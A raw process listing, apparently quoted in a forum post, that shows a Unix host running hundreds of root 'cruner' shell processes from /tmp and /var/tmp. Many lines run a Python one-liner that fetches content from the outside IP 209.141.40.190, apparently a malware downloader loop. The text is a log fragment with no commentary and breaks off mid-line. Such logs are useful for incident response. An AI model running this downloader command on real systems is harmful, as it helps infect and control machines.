/var/tmp/cruner > root 1663 7755 0 15:45:48 ? 0:00 sleep 60 > root 25521 13480 0 15:45:07 ? 0:00 sleep 60 > root 19727 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12786 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6311 23545 0 15:45:09 ? 0:00 sh /tmp/cruner > root 29825 15281 0 15:44:37 ? 0:00 bash -sh > root 14559 9762 0 - ? 0:00 <defunct> > root 10599 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18703 3861 0 15:44:06 ? 0:00 bash -sh > root 19478 3908 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2238 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15381 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3370 19136 0 - ? 0:00 <defunct> > root 17081 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21018 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15033 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1572 850 0 15:45:48 ? 0:00 sleep 60 > root 1665 7835 0 15:45:53 ? 0:00 sleep 60 > root 17288 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22483 21496 0 15:45:17 ? 0:00 sleep 60 > root 16073 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28197 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14254 1 0 23:56:33 ? 0:00 sh /var/tmp/cruner > root 14821 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28708 22199 0 15:43:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19389 9870 0 - ? 0:00 <defunct> > root 28746 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5548 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16992 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15914 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12497 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9610 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1000 20943 0 15:45:14 ? 0:00 sleep 60 > root 28370 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29552 8341 0 15:45:27 ? 0:00 bash -sh > root 15450 20042 0 15:46:00 ? 0:00 sh /tmp/cruner > root 5978 15045 0 15:45:35 ? 0:00 bash -sh > root 5123 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25712 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8933 1 0 00:58:46 ? 0:00 sh /var/tmp/cruner > root 1077 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5712 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27509 14668 0 15:45:39 ? 0:00 sleep 60 > root 15026 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26230 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18284 7582 0 - ? 0:00 <defunct> > root 15120 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1138 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15825 14300 0 - ? 0:00 <defunct> > root 8660 21529 0 15:45:45 ? 0:00 bash -sh > root 11422 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16065 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15104 26164 0 - ? 0:00 <defunct> > root 16984 13743 0 15:45:56 ? 0:00 sh /var/tmp/cruner > root 12935 8262 0 - ? 0:00 <defunct> > root 29102 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 492 28942 0 15:44:11 ? 0:00 bash -sh > root 21279 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3623 20394 0 - ? 0:00 <defunct> > root 27704 26722 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20930 25263 0 15:44:48 ? 0:00 bash -sh > root 4940 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18121 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11331 28685 0 15:45:25 ? 0:00 sleep 60 > root 28690 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14589 23627 0 - ? 0:00 <defunct> > root 16077 25056 0 15:43:27 ? 0:00 bash -sh > root 11483 17768 0 15:45:25 ? 0:00 sleep 60 > root 4331 20113 0 15:45:54 ? 0:00 sh /tmp/cruner > root 2518 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25537 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15125 21986 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11934 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18966 7033 0 15:45:29 ? 0:00 sleep 60 > root 15235 9955 0 15:45:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13439 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26339 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15636 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19475 707 0 - ? 0:00 <defunct> > root 22678 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13268 13259 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28562 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3803 1135 0 15:45:35 ? 0:00 sleep 60 > root 9550 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9935 28694 0 15:45:59 ? 0:00 bash -sh > root 3569 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10269 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 268 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26066 5602 0 15:45:47 ? 0:00 sleep 60 > root 28669 5535 0 - ? 0:00 <defunct> > root 10085 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19375 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26623 10966 0 15:43:40 ? 0:00 bash -sh > root 3825 17139 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24542 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1473 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4028 6909 0 15:44:50 ? 0:00 bash -sh > root 26287 25588 0 - ? 0:00 <defunct> > root 6582 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9241 26693 0 15:44:51 ? 0:00 bash -sh > root 21696 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8360 7823 0 15:45:45 ? 0:00 bash -sh > root 12824 24897 0 15:45:25 ? 0:00 bash -sh > root 1340 1 0 16:07:43 ? 0:01 sh /var/tmp/cruner > root 22135 20269 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19627 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22998 13113 0 15:45:23 ? 0:00 bash -sh > root 14375 28142 0 - ? 0:00 <defunct> > root 19048 2764 0 15:45:42 ? 0:00 sleep 60 > root 13575 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22937 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12738 11590 0 - ? 0:00 <defunct> > root 19242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28672 18841 0 15:45:34 ? 0:00 sleep 60 > root 14055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27999 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25849 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5444 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20219 20547 0 - ? 0:00 <defunct> > root 2871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3245 4456 0 15:45:35 ? 0:00 sleep 60 > root 28153 6667 0 - ? 0:00 <defunct> > root 23344 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13179 18641 0 15:45:11 ? 0:00 bash -sh > root 10976 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26012 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17943 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27006 26979 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3441 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7271 18711 0 15:45:36 ? 0:00 bash -sh > root 7508 24433 0 15:45:49 ? 0:00 xargs kill -9 > root 14814 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28066 10108 0 15:45:34 ? 0:00 sleep 60 > root 18491 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24567 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15065 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27535 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20108 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22323 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2310 27433 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 11943 5824 0 - ? 0:00 <defunct> > root 18474 27684 0 - ? 0:00 <defunct> > root 10253 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10422 8140 0 15:45:36 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14195 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7474 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1088 840 0 15:45:44 ? 0:00 bash -sh > root 13456 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 15776 7471 0 15:45:06 ? 0:00 sleep 60 > root 11982 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25690 15533 0 15:44:54 ? 0:00 sh /tmp/cruner > root 27438 8732 0 15:45:57 ? 0:00 sleep 60 > root 9570 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25057 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15374 8138 0 - ? 0:00 <defunct> > root 26686 1683 0 15:45:03 ? 0:00 bash -sh > root 21590 21557 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6839 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15475 28530 0 - ? 0:00 <defunct> > root 14134 3085 0 - ? 0:00 <defunct> > root 803 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8304 22029 0 15:44:24 ? 0:00 bash -sh > root 29764 5260 0 15:44:59 ? 0:00 bash -sh > root 10951 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6265 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 431 9288 0 15:45:08 ? 0:00 bash -sh > root 19573 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5116 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12371 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29726 19664 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 3269 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24262 17257 0 - ? 0:00 <defunct> > root 5901 28404 0 15:45:44 ? 0:00 bash -sh > root 16255 4439 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16474 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23165 3724 0 15:44:08 ? 0:00 bash -sh > root 9266 3119 0 - ? 0:00 <defunct> > root 11698 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8211 20478 0 - ? 0:00 <defunct> > root 25432 25962 0 15:45:17 ? 0:00 sleep 60 > root 22933 22897 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19507 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18154 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15468 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11820 11818 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1941 15961 0 15:45:58 ? 0:00 bash -sh > root 8675 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15284 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19243 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14677 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10424 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25474 6953 0 15:45:13 ? 0:00 bash -sh > root 20619 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5371 14440 0 - ? 0:00 <defunct> > root 20476 19954 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9539 8722 0 15:45:59 ? 0:00 sleep 60 > root 3762 12319 0 15:43:18 ? 0:00 bash -sh > root 20109 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3454 11695 0 15:45:54 ? 0:00 sleep 60 > root 1749 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3525 22924 0 - ? 0:00 <defunct> > root 20932 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18836 27238 0 15:42:58 ? 0:00 bash -sh > root 10185 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10979 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24346 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9983 20220 0 - ? 0:00 <defunct> > root 5756 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3302 24978 0 15:45:09 ? 0:00 bash -sh > root 28885 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25328 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18282 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 249 21080 0 - ? 0:00 <defunct> > root 19966 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14540 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13101 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29276 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9743 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2302 17314 0 - ? 0:00 <defunct> > root 27209 24365 0 - ? 0:00 <defunct> > root 21837 918 0 - ? 0:00 <defunct> > root 5884 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13351 4446 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18981 19026 0 15:45:12 ? 0:00 sleep 60 > root 24084 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14751 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12837 21070 0 15:45:55 ? 0:00 sleep 60 > root 12043 11611 0 - ? 0:00 <defunct> > root 22596 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11049 20790 0 - ? 0:00 <defunct> > root 22645 27484 0 15:46:01 ? 0:00 sleep 60 > root 23476 23190 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25055 8825 0 15:45:07 ? 0:00 sleep 60 > root 13434 4515 0 - ? 0:00 <defunct> > root 7456 21740 0 15:45:45 ? 0:00 bash -sh > root 10419 8804 0 15:45:32 ? 0:00 bash -sh > root 5473 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25619 18948 0 15:45:13 ? 0:00 sh /tmp/cruner > root 17986 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13620 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9440 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4450 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2512 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20553 15228 0 15:45:17 ? 0:00 bash -sh > root 6520 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22924 676 0 15:45:52 ? 0:00 bash -sh > root 27813 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18259 21039 0 15:45:56 ? 0:00 sleep 60 > root 16930 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12389 6534 0 15:45:50 ? 0:00 bash -sh > root 23152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11876 19233 0 15:45:11 ? 0:00 sleep 60 > root 12416 29892 0 15:45:36 ? 0:00 sleep 60 > root 22276 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10002 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19787 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29799 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29793 25145 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 7387 7317 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2241 2237 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13847 18029 0 - ? 0:00 <defunct> > root 2134 6298 0 15:45:19 ? 0:00 sleep 60 > root 11673 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14193 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15598 17921 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 28440 16883 0 15:46:02 ? 0:00 sleep 60 > root 3814 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 507 11619 0 15:45:48 ? 0:00 sleep 60 > root 1285 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28000 6058 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 3978 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23296 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8041 22718 0 15:45:20 ? 0:00 bash -sh > root 27733 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18817 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26128 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20607 525 0 15:45:52 ? 0:00 bash -sh > root 17785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7363 18183 0 15:44:03 ? 0:00 bash -sh > root 6507 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28256 19872 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 1160 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28044 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12980 5273 0 15:45:59 ? 0:00 sleep 60 > root 4156 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21601 8475 0 15:45:33 ? 0:00 sleep 60 > root 11635 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17431 17269 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12976 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12070 28459 0 15:45:29 ? 0:00 bash -sh > root 18253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7871 25735 0 - ? 0:00 <defunct> > root 4007 20919 0 15:45:58 ? 0:00 sleep 60 > root 17650 912 0 - ? 0:00 <defunct> > root 11653 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27418 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29827 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2738 29689 0 15:45:31 ? 0:00 sleep 60 > root 15405 9478 0 - ? 0:00 <defunct> > root 18208 4085 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11433 1916 0 15:45:55 ? 0:00 sleep 60 > root 16301 17785 0 15:45:56 ? 0:00 bash -sh > root 9817 1702 0 - ? 0:00 <defunct> > root 23757 21727 0 - ? 0:00 <defunct> > root 12344 22086 0 - ? 0:00 <defunct> > root 7618 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2565 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11900 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9388 18429 0 15:45:15 ? 0:00 bash -sh > root 8805 21211 0 15:45:25 ? 0:00 sleep 60 > root 17912 15073 0 15:44:52 ? 0:00 bash -sh > root 6609 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27383 29632 0 - ? 0:00 <defunct> > root 1620 22300 0 15:45:27 ? 0:00 sleep 60 > root 25924 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21274 21249 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16353 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19284 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27703 28619 0 15:44:49 ? 0:00 bash -sh > root 11127 28323 0 15:44:43 ? 0:00 bash -sh > root 19278 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10008 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15629 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8063 8319 0 15:45:09 ? 0:00 bash -sh > root 4126 18815 0 15:45:44 ? 0:00 sleep 60 > root 24850 24807 0 15:43:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13935 16457 0 15:45:32 ? 0:00 sleep 60 > root 8321 16967 0 15:43:09 ? 0:00 bash -sh > root 15696 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23794 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11744 12589 0 15:45:59 ? 0:00 bash -sh > root 12912 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11708 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28866 11664 0 - ? 0:00 <defunct> > root 17861 16778 0 - ? 0:00 <defunct> > root 26467 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4611 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17292 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26578 7438 0 - ? 0:00 <defunct> > root 13028 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13458 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13738 1187 0 15:45:11 ? 0:00 sleep 60 > root 6442 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9964 470 0 15:45:55 ? 0:00 bash -sh > root 9268 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 62 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5981 29368 0 15:46:03 ? 0:00 sleep 60 > root 6486 7385 0 15:45:04 ? 0:00 bash -sh > root 9329 25338 0 - ? 0:00 <defunct> > root 15424 19354 0 - ? 0:00 <defunct> > root 26021 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9947 18491 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 9421 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28402 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10726 4447 0 15:44:51 ? 0:00 bash -sh > root 18144 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29301 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17828 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11246 11222 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19543 3004 0 15:45:42 ? 0:00 sleep 60 > root 12008 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17091 18273 0 15:43:52 ? 0:00 bash -sh > root 1198 20338 0 15:45:19 ? 0:00 bash -sh > root 5836 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28572 4708 0 15:45:08 ? 0:00 sh /tmp/cruner > root 26920 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26043 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28175 26312 0 15:45:18 ? 0:00 sleep 60 > root 12633 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9647 1756 0 15:46:03 ? 0:00 xargs kill -9 > root 4708 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28600 3105 0 - ? 0:00 <defunct> > root 24371 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12435 12364 0 - ? 0:00 <defunct> > root 2303 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22336 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25723 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18667 23402 0 15:45:51 ? 0:00 sleep 60 > root 19118 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6067 9723 0 15:44:23 ? 0:00 bash -sh > root 5354 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13673 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28292 13456 0 15:44:41 ? 0:00 bash -sh > root 20093 24952 0 - ? 0:00 <defunct> > root 26874 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19777 20339 0 15:45:33 ? 0:00 sleep 60 > root 17141 16228 0 - ? 0:00 <defunct> > root 20286 12371 0 15:45:06 ? 0:00 sleep 60 > root 11441 543 0 15:45:36 ? 0:00 sh /tmp/cruner > root 28811 2870 0 15:43:06 ? 0:00 bash -sh > root 4430 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11232 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24402 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26696 12390 0 15:45:34 ? 0:00 sleep 60 > root 27569 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19446 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26774 23109 0 - ? 0:00 <defunct> > root 12733 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12879 10878 0 15:45:55 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3964 21932 0 15:45:19 ? 0:00 sleep 60 > root 11501 27861 0 15:45:59 ? 0:00 bash -sh > root 3009 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5888 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12366 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17915 19271 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 25497 20431 0 15:45:43 ? 0:00 xargs kill -9 > root 7294 5960 0 15:45:45 ? 0:00 bash -sh > root 25324 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29914 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19342 19337 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17259 25718 0 15:45:37 ? 0:00 xargs kill -9 > root 687 20149 0 15:45:48 ? 0:00 sleep 60 > root 5107 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13821 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12296 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 899 12459 0 - ? 0:00 <defunct> > root 2647 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29300 3474 0 15:45:47 ? 0:00 bash -sh > root 121 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28978 3090 0 15:43:06 ? 0:00 bash -sh > root 16933 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23093 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25337 25330 0 - ? 0:00 <defunct> > root 13395 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28501 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16411 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8877 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16792 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24380 24551 0 15:45:07 ? 0:00 bash -sh > root 12978 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25499 26156 0 15:45:13 ? 0:00 sleep 60 > root 25469 26443 0 15:44:09 ? 0:00 bash -sh > root 27822 1 0 Oct 05 ? 